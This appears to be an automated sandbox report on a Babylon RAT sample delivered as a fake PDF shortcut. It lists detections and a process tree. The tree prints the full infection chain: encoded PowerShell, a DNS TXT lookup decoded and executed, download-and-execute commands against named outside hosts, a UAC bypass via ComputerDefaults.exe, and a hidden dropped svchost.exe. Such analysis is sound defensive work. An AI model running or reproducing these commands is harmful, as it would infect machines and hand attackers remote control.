Analysis
- max time kernel
300s - max time network
277s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
07/05/2026, 03:16
General
- Target Dekont7664724867.pdf.lnk
- Size 4KB
- Sample260507-dsty7aaw4p
- SHA256 53700e39b2062fce1fca2da0c1ccad590a2438ecf95a451df50e5bb9b3d0e0a6
Malware Config
Signatures
- Family: Babylon RAT
Babylon RAT is remote access trojan written in C++.
- Babylon RAT payload 1 IoCs
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 2 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 15 IoCs
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Dekont7664724867.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand LgAoACIAewAxAH0AewA0AH0AewAzAH0AewAwAH0AewAyAH0AIgAtAGYAJwBsAC4AZQB4ACcALAAnAHAAbwAnACwAJwBlACcALAAnAGUAcgBzAGgAZQBsACcALAAnAHcAJwApACAALQB3AGkAbgBkAG8AdwBzAHQAeQBsAGUAIAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBoAGkAJwAsACcAZABkAGUAbgAnACkAIAAtAEMAbwBtAG0AYQBuAGQAIAAiACYAIAB7AGAAJABwAD0AKAAoAFIAZQBzAG8AbAB2AGUALQBEAG4AcwBOAGEAbQBlACAALQBUAHkAcABlACAAVABYAFQAIABkAGUAawBvAG4AdABuAHUAYQBjAC4AYQBrAG4AYQBmAGUAbABlAHYAYQB0AG8AcgAuAGMAbwBtACAALQBTAGUAcgB2AGUAcgAgADgALgA4AC4AOAAuADgAKQAuAFMAdAByAGkAbgBnAHMAIAAtAGoAbwBpAG4AIAAnACcAKQA7ACAAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABgACQAcAApACkAKQB9ACIA2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "& {$p=((Resolve-DnsName -Type TXT dekontnuac.aknafelevator.com -Server 8.8.8.8).Strings -join ''); iex([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($p)))}"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command ""(Invoke-WebRequest -UseBasicParsing 'https://pastee.dev/r/Od8tktpw/0').content | Invoke-Expression""4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i3b4dzzl\i3b4dzzl.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES35E0.tmp" "c:\System\CSCAE7955B18744D0992573F2F52DB318.TMP"6⤵
-
-
-
C:\Windows\System32\ComputerDefaults.exe"C:\Windows\System32\ComputerDefaults.exe"5⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\System\mmgr.exe"mmgr.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand KAAmACgAIgB7ADMAfQB7ADEAfQB7ADAAfQB7ADQAfQB7ADIAfQAiAC0AZgAnAGUAYgBSAGUAcQAnACwAJwAtAFcAJwAsACcAdAAnACwAJwBJAG4AdgBvAGsAZQAnACwAJwB1AGUAcwAnACkAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGUALgBkAGUAdgAvAHIALwBrAEMAeQBlAHIAUQBRAHQALwAwACcAKQAuACIAYwBPAE4AVABlAG4AVAAiACAAfAAgACYAKAAiAHsAMAB9AHsANAB9AHsANQB9AHsAMwB9AHsAMQB9AHsAMgB9ACIALQBmACAAJwBJAG4AJwAsACcAcwAnACwAJwBpAG8AbgAnACwAJwBFAHgAcAByAGUAcwAnACwAJwB2AG8AawBlACcALAAnAC0AJwApAA==7⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +r +s C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\Keys\svchost.exe8⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn EDFTask8⤵
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command ""(Invoke-WebRequest -UseBasicParsing 'https://sendanywhere.tryasp.net/Dekont.png') | Invoke-Expression""4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\Keys\svchost.exeC:\Users\Admin\AppData\Roaming\Microsoft\Crypto\Keys\svchost.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
mmgr.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
RES35E0.tmp
__PSScriptPolicyTest_mdro5vae.v3x.ps1
svchost.exe
CSCAE7955B18744D0992573F2F52DB318.TMP
i3b4dzzl.0.cs
i3b4dzzl.cmdline
memory/900-67-0x000001E489770000-0x000001E48977C000-memory.dmp
memory/1504-75-0x000001BC71570000-0x000001BC7161F000-memory.dmp
memory/1676-73-0x00000000007A0000-0x00000000007A8000-memory.dmp
memory/2452-70-0x0000018520C60000-0x0000018520C6C000-memory.dmp
memory/3048-52-0x0000025039980000-0x0000025039A2F000-memory.dmp
memory/3048-53-0x0000025039C90000-0x0000025039C9C000-memory.dmp
memory/3876-108-0x00000000017D0000-0x000000000191D000-memory.dmp
memory/4012-23-0x000001A0EAA60000-0x000001A0EAA7C000-memory.dmp
memory/4012-25-0x000001A0EAA80000-0x000001A0EAA8A000-memory.dmp
memory/4012-31-0x000001A0EA3E0000-0x000001A0EA48F000-memory.dmp
memory/4012-32-0x000001A0EA4B0000-0x000001A0EA4C2000-memory.dmp
memory/4012-24-0x000001A0EAAC0000-0x000001A0EAB73000-memory.dmp
memory/4012-30-0x000001A0EA350000-0x000001A0EA35C000-memory.dmp
memory/4012-27-0x000001A0EADF0000-0x000001A0EAE0A000-memory.dmp
memory/4012-26-0x000001A0EAA90000-0x000001A0EAAA0000-memory.dmp
memory/4072-99-0x0000022FFFF60000-0x0000022FFFF6A000-memory.dmp
memory/4072-98-0x0000022F9A6B0000-0x0000022F9A6B6000-memory.dmp
memory/4072-106-0x0000022F99F20000-0x0000022F99FCF000-memory.dmp
memory/4072-107-0x0000022F80160000-0x0000022F80172000-memory.dmp
memory/4072-105-0x0000022F80100000-0x0000022F8010C000-memory.dmp
memory/4072-94-0x0000022FFFF80000-0x0000022FFFF9C000-memory.dmp
memory/4072-97-0x0000022F9A5C0000-0x0000022F9A5C8000-memory.dmp
memory/4072-96-0x0000022FFFFA0000-0x0000022FFFFBA000-memory.dmp
memory/4072-95-0x0000022FFFF20000-0x0000022FFFF2A000-memory.dmp
memory/4072-93-0x0000022F9A5F0000-0x0000022F9A6A3000-memory.dmp
memory/4292-84-0x0000020DFD1F0000-0x0000020DFD1FC000-memory.dmp
memory/4292-85-0x0000020DFD6F0000-0x0000020DFD79F000-memory.dmp
memory/4292-86-0x0000020DFD810000-0x0000020DFD822000-memory.dmp
memory/4744-55-0x0000019306620000-0x000001930662C000-memory.dmp
memory/4744-56-0x00000193066C0000-0x000001930676F000-memory.dmp
memory/4744-57-0x0000019306800000-0x0000019306812000-memory.dmp
memory/4968-43-0x0000015AA31A0000-0x0000015AA31AC000-memory.dmp
memory/4968-3-0x0000015ABBAB0000-0x0000015ABBAC0000-memory.dmp
memory/4968-42-0x0000015AA31E0000-0x0000015AA328F000-memory.dmp
memory/4968-10-0x0000015ABBAF0000-0x0000015ABBB12000-memory.dmp
memory/4968-2-0x0000015ABBAB0000-0x0000015ABBAC0000-memory.dmp
memory/4968-44-0x0000015AA37B0000-0x0000015AA37C2000-memory.dmp